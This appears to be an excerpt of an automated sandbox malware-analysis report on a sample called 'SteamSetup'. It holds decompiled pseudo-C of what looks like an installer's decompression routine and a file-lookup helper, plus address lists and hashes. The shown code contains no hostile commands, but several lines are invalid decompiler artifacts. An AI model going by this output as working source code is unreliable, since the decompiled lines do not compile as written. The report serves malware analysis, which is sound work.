								goto L171;
							}
							__eax = 0;
							__eflags =  *(__ebp - 0x38) - 7;
							_t258 =  *(__ebp - 0x38) - 7 >= 0;
							__eflags = _t258;
							0 | _t258 = _t258 + _t258 + 9;
							 *(__ebp - 0x38) = _t258 + _t258 + 9;
							goto L75;
						case 0xa:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xb;
								__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x28);
							goto L88;
						case 0xb:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__ecx =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x20);
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
							} else {
								__eax =  *(__ebp - 0x24);
							}
							__ecx =  *(__ebp - 0x28);
							 *(__ebp - 0x24) =  *(__ebp - 0x28);
							L88:
							__ecx =  *(__ebp - 0x2c);
							 *(__ebp - 0x2c) = __eax;
							 *(__ebp - 0x28) =  *(__ebp - 0x2c);
							L89:
							__eax =  *(__ebp - 4);
							 *(__ebp - 0x80) = 0x15;
							__eax =  *(__ebp - 4) + 0xa68;
							 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
							goto L68;
						case 0xc:
							L99:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xc;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t334 = __ebp - 0x70;
							 *_t334 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t334;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							__eax =  *(__ebp - 0x2c);
							goto L101;
						case 0xd:
							goto L36;
						case 0xe:
							goto L45;
						case 0xf:
							goto L57;
						case 0x10:
							L109:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x10;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t365 = __ebp - 0x70;
							 *_t365 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t365;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							goto L111;
						case 0x11:
							L68:
							__esi =  *(__ebp - 0x58);
							 *(__ebp - 0x84) = 0x12;
							goto L132;
						case 0x12:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 0x58);
								 *(__ebp - 0x84) = 0x13;
								__esi =  *(__ebp - 0x58) + 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x4c);
							 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							__eflags = __eax;
							__eax =  *(__ebp - 0x58) + __eax + 4;
							goto L130;
						case 0x13:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								_t469 = __ebp - 0x58;
								 *_t469 =  *(__ebp - 0x58) + 0x204;
								__eflags =  *_t469;
								 *(__ebp - 0x30) = 0x10;
								 *(__ebp - 0x40) = 8;
								L144:
								 *(__ebp - 0x7c) = 0x14;
								goto L145;
							}
							__eax =  *(__ebp - 0x4c);
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							 *(__ebp - 0x30) = 8;
							__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
							L130:
							 *(__ebp - 0x58) = __eax;
							 *(__ebp - 0x40) = 3;
							goto L144;
						case 0x14:
							 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
							__eax =  *(__ebp - 0x80);
							goto L140;
						case 0x15:
							__eax = 0;
							__eflags =  *(__ebp - 0x38) - 7;
							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
							__al = __al & 0x000000fd;
							__eax = (__eflags >= 0) - 1 + 0xb;
							 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
							goto L120;
						case 0x16:
							__eax =  *(__ebp - 0x30);
							__eflags = __eax - 4;
							if(__eax >= 4) {
								_push(3);
								_pop(__eax);
							}
							__ecx =  *(__ebp - 4);
							 *(__ebp - 0x40) = 6;
							__eax = __eax << 7;
							 *(__ebp - 0x7c) = 0x19;
							 *(__ebp - 0x58) = __eax;
							goto L145;
						case 0x17:
							L145:
							__eax =  *(__ebp - 0x40);
							 *(__ebp - 0x50) = 1;
							 *(__ebp - 0x48) =  *(__ebp - 0x40);
							goto L149;
						case 0x18:
							L146:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x18;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t484 = __ebp - 0x70;
							 *_t484 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t484;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L148:
							_t487 = __ebp - 0x48;
							 *_t487 =  *(__ebp - 0x48) - 1;
							__eflags =  *_t487;
							L149:
							__eflags =  *(__ebp - 0x48);
							if( *(__ebp - 0x48) <= 0) {
								__ecx =  *(__ebp - 0x40);
								__ebx =  *(__ebp - 0x50);
								0 = 1;
								__eax = 1 << __cl;
								__ebx =  *(__ebp - 0x50) - (1 << __cl);
								__eax =  *(__ebp - 0x7c);
								 *(__ebp - 0x44) = __ebx;
								goto L140;
							}
							__eax =  *(__ebp - 0x50);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
							__eax =  *(__ebp - 0x58);
							__esi = __edx + __eax;
							 *(__ebp - 0x54) = __esi;
							__ax =  *__esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								__cx = __ax >> 5;
								__eax = __eax - __ecx;
								__edx = __edx + 1;
								__eflags = __edx;
								 *__esi = __ax;
								 *(__ebp - 0x50) = __edx;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L148;
							} else {
								goto L146;
							}
						case 0x19:
							__eflags = __ebx - 4;
							if(__ebx < 4) {
								 *(__ebp - 0x2c) = __ebx;
								L119:
								_t393 = __ebp - 0x2c;
								 *_t393 =  *(__ebp - 0x2c) + 1;
								__eflags =  *_t393;
								L120:
								__eax =  *(__ebp - 0x2c);
								__eflags = __eax;
								if(__eax == 0) {
									 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
									goto L170;
								}
								__eflags = __eax -  *(__ebp - 0x60);
								if(__eax >  *(__ebp - 0x60)) {
									goto L171;
								}
								 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
								__eax =  *(__ebp - 0x30);
								_t400 = __ebp - 0x60;
								 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
								__eflags =  *_t400;
								goto L123;
							}
							__ecx = __ebx;
							__eax = __ebx;
							__ecx = __ebx >> 1;
							__eax = __ebx & 0x00000001;
							__ecx = (__ebx >> 1) - 1;
							__al = __al | 0x00000002;
							__eax = (__ebx & 0x00000001) << __cl;
							__eflags = __ebx - 0xe;
							 *(__ebp - 0x2c) = __eax;
							if(__ebx >= 0xe) {
								__ebx = 0;
								 *(__ebp - 0x48) = __ecx;
								L102:
								__eflags =  *(__ebp - 0x48);
								if( *(__ebp - 0x48) <= 0) {
									__eax = __eax + __ebx;
									 *(__ebp - 0x40) = 4;
									 *(__ebp - 0x2c) = __eax;
									__eax =  *(__ebp - 4);
									__eax =  *(__ebp - 4) + 0x644;
									__eflags = __eax;
									L108:
									__ebx = 0;
									 *(__ebp - 0x58) = __eax;
									 *(__ebp - 0x50) = 1;
									 *(__ebp - 0x44) = 0;
									 *(__ebp - 0x48) = 0;
									L112:
									__eax =  *(__ebp - 0x40);
									__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
									if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
										_t391 = __ebp - 0x2c;
										 *_t391 =  *(__ebp - 0x2c) + __ebx;
										__eflags =  *_t391;
										goto L119;
									}
									__eax =  *(__ebp - 0x50);
									 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
									__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
									__eax =  *(__ebp - 0x58);
									__esi = __edi + __eax;
									 *(__ebp - 0x54) = __esi;
									__ax =  *__esi;
									__ecx = __ax & 0x0000ffff;
									__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
									__eflags =  *(__ebp - 0xc) - __edx;
									if( *(__ebp - 0xc) >= __edx) {
										__ecx = 0;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
										__ecx = 1;
										 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
										__ebx = 1;
										__ecx =  *(__ebp - 0x48);
										__ebx = 1 << __cl;
										__ecx = 1 << __cl;
										__ebx =  *(__ebp - 0x44);
										__ebx =  *(__ebp - 0x44) | __ecx;
										__cx = __ax;
										__cx = __ax >> 5;
										__eax = __eax - __ecx;
										__edi = __edi + 1;
										__eflags = __edi;
										 *(__ebp - 0x44) = __ebx;
										 *__esi = __ax;
										 *(__ebp - 0x50) = __edi;
									} else {
										 *(__ebp - 0x10) = __edx;
										0x800 = 0x800 - __ecx;
										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
										 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
										 *__esi = __dx;
									}
									__eflags =  *(__ebp - 0x10) - 0x1000000;
									if( *(__ebp - 0x10) >= 0x1000000) {
										L111:
										_t368 = __ebp - 0x48;
										 *_t368 =  *(__ebp - 0x48) + 1;
										__eflags =  *_t368;
										goto L112;
									} else {
										goto L109;
									}
								}
								__ecx =  *(__ebp - 0xc);
								__ebx = __ebx + __ebx;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
								__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
								 *(__ebp - 0x44) = __ebx;
								if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
									__ecx =  *(__ebp - 0x10);
									 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
									__ebx = __ebx | 0x00000001;
									__eflags = __ebx;
									 *(__ebp - 0x44) = __ebx;
								}
								__eflags =  *(__ebp - 0x10) - 0x1000000;
								if( *(__ebp - 0x10) >= 0x1000000) {
									L101:
									_t338 = __ebp - 0x48;
									 *_t338 =  *(__ebp - 0x48) - 1;
									__eflags =  *_t338;
									goto L102;
								} else {
									goto L99;
								}
							}
							__edx =  *(__ebp - 4);
							__eax = __eax - __ebx;
							 *(__ebp - 0x40) = __ecx;
							__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
							goto L108;
						case 0x1a:
							goto L55;
						case 0x1b:
							L75:
							__eflags =  *(__ebp - 0x64);
							if( *(__ebp - 0x64) == 0) {
								 *(__ebp - 0x88) = 0x1b;
								goto L170;
							}
							__eax =  *(__ebp - 0x14);
							__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
							__eflags = __eax -  *(__ebp - 0x74);
							if(__eax >=  *(__ebp - 0x74)) {
								__eax = __eax +  *(__ebp - 0x74);
								__eflags = __eax;
							}
							__edx =  *(__ebp - 8);
							__cl =  *(__eax + __edx);
							__eax =  *(__ebp - 0x14);
							 *(__ebp - 0x5c) = __cl;
							 *(__eax + __edx) = __cl;
							__eax = __eax + 1;
							__edx = 0;
							_t274 = __eax %  *(__ebp - 0x74);
							__eax = __eax /  *(__ebp - 0x74);
							__edx = _t274;
							__eax =  *(__ebp - 0x68);
							 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
							 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
							_t283 = __ebp - 0x64;
							 *_t283 =  *(__ebp - 0x64) - 1;
							__eflags =  *_t283;
							 *( *(__ebp - 0x68)) = __cl;
							goto L79;
						case 0x1c:
							while(1) {
								L123:
								__eflags =  *(__ebp - 0x64);
								if( *(__ebp - 0x64) == 0) {
									break;
								}
								__eax =  *(__ebp - 0x14);
								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
								__eflags = __eax -  *(__ebp - 0x74);
								if(__eax >=  *(__ebp - 0x74)) {
									__eax = __eax +  *(__ebp - 0x74);
									__eflags = __eax;
								}
								__edx =  *(__ebp - 8);
								__cl =  *(__eax + __edx);
								__eax =  *(__ebp - 0x14);
								 *(__ebp - 0x5c) = __cl;
								 *(__eax + __edx) = __cl;
								__eax = __eax + 1;
								__edx = 0;
								_t414 = __eax %  *(__ebp - 0x74);
								__eax = __eax /  *(__ebp - 0x74);
								__edx = _t414;
								__eax =  *(__ebp - 0x68);
								 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
								 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
								 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
								__eflags =  *(__ebp - 0x30);
								 *( *(__ebp - 0x68)) = __cl;
								 *(__ebp - 0x14) = __edx;
								if( *(__ebp - 0x30) > 0) {
									continue;
								} else {
									goto L80;
								}
							}
							 *(__ebp - 0x88) = 0x1c;
							goto L170;
					}
				}
			}

0x00000000
0x00406846
0x00406846
0x0040684b
0x004068c2
0x004068c9
0x004068d3
0x00406eb2
0x00406eb2
0x00406eb5
0x00406eb5
0x00406ebb
0x00406ec1
0x00406ec7
0x00406ee1
0x00406ee4
0x00406eea
0x00406ef5
0x00406ef7
0x00406ec9
0x00406ec9
0x00406ed8
0x00406edc
0x00406edc
0x00406f01
0x00406f28
0x00406f28
0x00406f2e
0x00406f2e
0x00000000
0x00406f03
0x00406f03
0x00406f07
0x004070b6
0x00000000
0x004070b6
0x00406f13
0x00406f1a
0x00406f22
0x00406f25
0x00000000
0x00406f25
0x0040684d
0x0040684d
0x00406851
0x00406859
0x0040685c
0x0040685e
0x00406861
0x00406863
0x00406868
0x0040686b
0x00406872
0x00406879
0x0040687c
0x00406887
0x0040688f
0x0040688f
0x00406889
0x00406889
0x00406889
0x0040687e
0x0040687e
0x0040687e
0x00406896
0x004068b4
0x004068b6
0x00406a89
0x00406a89
0x00406a8c
0x00406a8f
0x00406a92
0x00406a95
0x00406a98
0x00406a9b
0x00406a9e
0x00406aa1
0x00406aa7
0x00406abf
0x00406ac2
0x00406ac5
0x00406ac8
0x00406ac8
0x00406acb
0x00406ad1
0x00406aa9
0x00406aa9
0x00406ab1
0x00406ab6
0x00406ab8
0x00406aba
0x00406aba
0x00406adb
0x00406ade
0x00406a81
0x00406a87
0x00000000
0x00000000
0x00000000
0x00406ae0
0x00406a5c
0x00406a60
0x00407068
0x00000000
0x00407068
0x00406a66
0x00406a69
0x00406a6c
0x00406a70
0x00406a73
0x00406a79
0x00406a7b
0x00406a7b
0x00406a7e
0x00000000
0x00406a7e
0x00406898
0x00406898
0x0040689b
0x004068a1
0x004068a3
0x004068a3
0x004068a6
0x004068a9
0x004068ab
0x004068ac
0x004068af
0x0040691c
0x0040691c
0x00406920
0x00406923
0x00406926
0x00406929
0x0040692c
0x0040692d
0x00406930
0x00406932
0x00406938
0x0040693b
0x0040693e
0x00406941
0x00406944
0x0040694a
0x00406966
0x00406969
0x0040696c
0x0040696f
0x00406976
0x0040697c
0x00406980
0x0040694c
0x0040694c
0x00406950
0x00406958
0x0040695d
0x0040695f
0x00406961
0x00406961
0x0040698a
0x0040698d
0x00406904
0x00406904
0x0040690a
0x004069bd
0x004069c3
0x00000000
0x00000000
0x004069c5
0x004069c8
0x004069cb
0x004069ce
0x004069d1
0x004069d4
0x004069d7
0x004069da
0x004069dd
0x004069e3
0x004069fb
0x004069fe
0x00406a01
0x00406a04
0x00406a04
0x00406a07
0x00406a0d
0x004069e5
0x004069e5
0x004069ed
0x004069f2
0x004069f4
0x004069f6
0x004069f6
0x00406a17
0x00406a1a
0x00406998
0x0040699c
0x0040705c
0x00000000
0x0040705c
0x004069a2
0x004069a5
0x004069a8
0x004069ac
0x004069af
0x004069b5
0x004069b7
0x004069b7
0x004069ba
0x004069ba
0x00406a1a
0x00406a21
0x00406a21
0x00406a21
0x00406a25
0x00406a25
0x00406a28
0x00406a2b
0x00406a2f
0x00407074
0x00000000
0x00407074
0x00406a35
0x00406a38
0x00406a3b
0x00406a3e
0x00406a41
0x00406a44
0x00406a47
0x00406a49
0x00406a4c
0x00406a4f
0x00406a52
0x00406a54
0x00406a54
0x00406a54
0x00406bf1
0x00406bf1
0x00406bf4
0x00406bf4
0x00000000
0x00406bf4
0x00406916
0x00000000
0x00000000
0x00000000
0x00406993
0x004068df
0x004068e3
0x00407050
0x004070cc
0x004070d4
0x004070db
0x004070dd
0x004070e4
0x004070e8
0x004070e8
0x004068e9
0x004068ec
0x004068ef
0x004068f3
0x004068f6
0x004068fc
0x004068fe
0x004068fe
0x00406901
0x00000000
0x00406901
0x0040698d
0x00406896
0x004066ca
0x004066ca
0x004066d3
0x004070e1
0x004070e1
0x00000000
0x004070e1
0x004066d9
0x00000000
0x004066e4
0x00000000
0x00000000
0x004066ed
0x004066f0
0x004066f3
0x004066f7
0x00000000
0x00000000
0x004066fd
0x00406700
0x00406702
0x00406703
0x00406706
0x00406708
0x00406709
0x0040670b
0x0040670e
0x00406713
0x00406718
0x00406721
0x00406734
0x00406737
0x00406743
0x0040676b
0x0040676d
0x0040677b
0x0040677b
0x0040677f
0x00000000
0x00000000
0x00000000
0x00000000
0x0040676f
0x0040676f
0x00406772
0x00406773
0x00406773
0x00000000
0x0040676f
0x00406749
0x0040674e
0x0040674e
0x00406757
0x0040675f
0x00406762
0x00000000
0x00406768
0x00406768
0x00000000
0x00406768
0x00000000
0x00406785
0x00406785
0x00406789
0x00407035
0x00000000
0x00407035
0x00406792
0x004067a2
0x004067a5
0x004067a8
0x004067a8
0x004067a8
0x004067ab
0x004067af
0x00000000
0x00000000
0x004067b1
0x004067b7
0x004067e1
0x004067e7
0x004067ee
0x00000000
0x004067ee
0x004067bd
0x004067c0
0x004067c5
0x004067c5
0x004067d0
0x004067d8
0x004067db
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406820
0x00406826
0x00406829
0x00406836
0x0040683e
0x00000000
0x00000000
0x004067f5
0x004067f5
0x004067f9
0x00407044
0x00000000
0x00407044
0x00406805
0x00406810
0x00406810
0x00406810
0x00406813
0x00406816
0x00406819
0x0040681e
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406ae5
0x00406ae9
0x00406b07
0x00406b0a
0x00406b11
0x00406b14
0x00406b17
0x00406b1a
0x00406b1d
0x00406b20
0x00406b22
0x00406b29
0x00406b2a
0x00406b2c
0x00406b2f
0x00406b32
0x00406b35
0x00406b35
0x00406b3a
0x00000000
0x00406b3a
0x00406aeb
0x00406aee
0x00406af1
0x00406afb
0x00000000
0x00000000
0x00406b4f
0x00406b53
0x00406b76
0x00406b79
0x00406b7c
0x00406b86
0x00406b55
0x00406b55
0x00406b58
0x00406b5b
0x00406b5e
0x00406b6b
0x00406b6e
0x00406b6e
0x00000000
0x00000000
0x00406b92
0x00406b96
0x00000000
0x00000000
0x00406b9c
0x00406ba0
0x00000000
0x00000000
0x00406ba6
0x00406ba8
0x00406bac
0x00406bac
0x00406baf
0x00406bb3
0x00000000
0x00000000
0x00406c03
0x00406c07
0x00406c0e
0x00406c11
0x00406c14
0x00406c1e
0x00000000
0x00406c1e
0x00406c09
0x00000000
0x00000000
0x00406c2a
0x00406c2e
0x00406c35
0x00406c38
0x00406c3b
0x00406c30
0x00406c30
0x00406c30
0x00406c3e
0x00406c41
0x00406c44
0x00406c44
0x00406c47
0x00406c4a
0x00406c4d
0x00406c4d
0x00406c50
0x00406c57
0x00406c5c
0x00000000
0x00000000
0x00406cea
0x00406cea
0x00406cee
0x0040708c
0x00000000
0x0040708c
0x00406cf4
0x00406cf7
0x00406cfa
0x00406cfe
0x00406d01
0x00406d07
0x00406d09
0x00406d09
0x00406d09
0x00406d0c
0x00406d0f
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406d6d
0x00406d6d
0x00406d71
0x00407098
0x00000000
0x00407098
0x00406d77
0x00406d7a
0x00406d7d
0x00406d81
0x00406d84
0x00406d8a
0x00406d8c
0x00406d8c
0x00406d8c
0x00406d8f
0x00000000
0x00000000
0x00406b3d
0x00406b3d
0x00406b40
0x00000000
0x00000000
0x00406e7c
0x00406e80
0x00406ea2
0x00406ea5
0x00406eaf
0x00000000
0x00406eaf
0x00406e82
0x00406e85
0x00406e89
0x00406e8c
0x00406e8c
0x00406e8f
0x00000000
0x00000000
0x00406f39
0x00406f3d
0x00406f5b
0x00406f5b
0x00406f5b
0x00406f62
0x00406f69
0x00406f70
0x00406f70
0x00000000
0x00406f70
0x00406f3f
0x00406f42
0x00406f45
0x00406f48
0x00406f4f
0x00406e93
0x00406e93
0x00406e96
0x00000000
0x00000000
0x0040702a
0x0040702d
0x00000000
0x00000000
0x00406c64
0x00406c66
0x00406c6d
0x00406c6e
0x00406c70
0x00406c73
0x00000000
0x00000000
0x00406c7b
0x00406c7e
0x00406c81
0x00406c83
0x00406c85
0x00406c85
0x00406c86
0x00406c89
0x00406c90
0x00406c93
0x00406ca1
0x00000000
0x00000000
0x00406f77
0x00406f77
0x00406f7a
0x00406f81
0x00000000
0x00000000
0x00406f86
0x00406f86
0x00406f8a
0x004070c2
0x00000000
0x004070c2
0x00406f90
0x00406f93
0x00406f96
0x00406f9a
0x00406f9d
0x00406fa3
0x00406fa5
0x00406fa5
0x00406fa5
0x00406fa8
0x00406fab
0x00406fab
0x00406fab
0x00406fab
0x00406fae
0x00406fae
0x00406fb2
0x00407012
0x00407015
0x0040701a
0x0040701b
0x0040701d
0x0040701f
0x00407022
0x00000000
0x00407022
0x00406fb4
0x00406fba
0x00406fbd
0x00406fc0
0x00406fc3
0x00406fc6
0x00406fc9
0x00406fcc
0x00406fcf
0x00406fd2
0x00406fd5
0x00406fee
0x00406ff1
0x00406ff4
0x00406ff7
0x00406ffb
0x00406ffd
0x00406ffd
0x00406ffe
0x00407001
0x00406fd7
0x00406fd7
0x00406fdf
0x00406fe4
0x00406fe6
0x00406fe9
0x00406fe9
0x00407004
0x0040700b
0x00000000
0x0040700d
0x00000000
0x0040700d
0x00000000
0x00406ca9
0x00406cac
0x00406ce2
0x00406e12
0x00406e12
0x00406e12
0x00406e12
0x00406e15
0x00406e15
0x00406e18
0x00406e1a
0x004070a4
0x00000000
0x004070a4
0x00406e20
0x00406e23
0x00000000
0x00000000
0x00406e29
0x00406e2d
0x00406e30
0x00406e30
0x00406e30
0x00000000
0x00406e30
0x00406cae
0x00406cb0
0x00406cb2
0x00406cb4
0x00406cb7
0x00406cb8
0x00406cba
0x00406cbc
0x00406cbf
0x00406cc2
0x00406cd8
0x00406cdd
0x00406d15
0x00406d15
0x00406d19
0x00406d45
0x00406d47
0x00406d4e
0x00406d51
0x00406d54
0x00406d54
0x00406d59
0x00406d59
0x00406d5b
0x00406d5e
0x00406d65
0x00406d68
0x00406d95
0x00406d95
0x00406d98
0x00406d9b
0x00406e0f
0x00406e0f
0x00406e0f
0x00000000
0x00406e0f
0x00406d9d
0x00406da3
0x00406da6
0x00406da9
0x00406dac
0x00406daf
0x00406db2
0x00406db5
0x00406db8
0x00406dbb
0x00406dbe
0x00406dd7
0x00406dd9
0x00406ddc
0x00406ddd
0x00406de0
0x00406de2
0x00406de5
0x00406de7
0x00406de9
0x00406dec
0x00406dee
0x00406df1
0x00406df5
0x00406df7
0x00406df7
0x00406df8
0x00406dfb
0x00406dfe
0x00406dc0
0x00406dc0
0x00406dc8
0x00406dcd
0x00406dcf
0x00406dd2
0x00406dd2
0x00406e01
0x00406e08
0x00406d92
0x00406d92
0x00406d92
0x00406d92
0x00000000
0x00406e0a
0x00000000
0x00406e0a
0x00406e08
0x00406d1b
0x00406d1e
0x00406d20
0x00406d23
0x00406d26
0x00406d29
0x00406d2b
0x00406d2e
0x00406d31
0x00406d31
0x00406d34
0x00406d34
0x00406d37
0x00406d3e
0x00406d12
0x00406d12
0x00406d12
0x00406d12
0x00000000
0x00406d40
0x00000000
0x00406d40
0x00406d3e
0x00406cc4
0x00406cc7
0x00406cc9
0x00406ccc
0x00000000
0x00000000
0x00000000
0x00000000
0x00406bb6
0x00406bb6
0x00406bba
0x00407080
0x00000000
0x00407080
0x00406bc0
0x00406bc3
0x00406bc6
0x00406bc9
0x00406bcb
0x00406bcb
0x00406bcb
0x00406bce
0x00406bd1
0x00406bd4
0x00406bd7
0x00406bda
0x00406bdd
0x00406bde
0x00406be0
0x00406be0
0x00406be0
0x00406be3
0x00406be6
0x00406be9
0x00406bec
0x00406bec
0x00406bec
0x00406bef
0x00000000
0x00000000
0x00406e33
0x00406e33
0x00406e33
0x00406e37
0x00000000
0x00000000
0x00406e3d
0x00406e40
0x00406e43
0x00406e46
0x00406e48
0x00406e48
0x00406e48
0x00406e4b
0x00406e4e
0x00406e51
0x00406e54
0x00406e57
0x00406e5a
0x00406e5b
0x00406e5d
0x00406e5d
0x00406e5d
0x00406e60
0x00406e63
0x00406e66
0x00406e69
0x00406e6c
0x00406e70
0x00406e72
0x00406e75
0x00000000
0x00406e77
0x00000000
0x00406e77
0x00406e75
0x004070aa
0x00000000
0x00000000
0x004066d9

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ead38b7015f9474378dd182d16c601773bd961a48b8ca1aefc3332049c463b86
Instruction ID: 84f5b91c3f937eb173619b21672ae23043901769df73ed9f159891f0fc81c8d0
Opcode Fuzzy Hash: ead38b7015f9474378dd182d16c601773bd961a48b8ca1aefc3332049c463b86
Instruction Fuzzy Hash: 72F18671D04229CBDF18CFA8C8946ADBBB0FF45305F25816ED856BB281D7385A8ACF45

Uniqueness

Uniqueness Score: -1.00%

Function 004064C1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004064C1(WCHAR* _a4) {
				void* _t2;

				_t2 = FindFirstFileW(_a4, 0x426778); // executed
				if(_t2 == 0xffffffff) {
					return 0;
				}
				FindClose(_t2);
				return 0x426778;
			}

0x004064cc
0x004064d5
0x00000000
0x004064e2
0x004064d8
0x00000000

APIs

FindFirstFileW.KERNELBASE(74D0FAA0,00426778,00425F30,00405C83,00425F30,00425F30,00000000,00425F30,00425F30,74D0FAA0,?,74D0F560,0040598F,?,74D0FAA0,74D0F560), ref: 004064CC
FindClose.KERNEL32(00000000), ref: 004064D8

Strings

xgB, xrefs: 004064C2

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

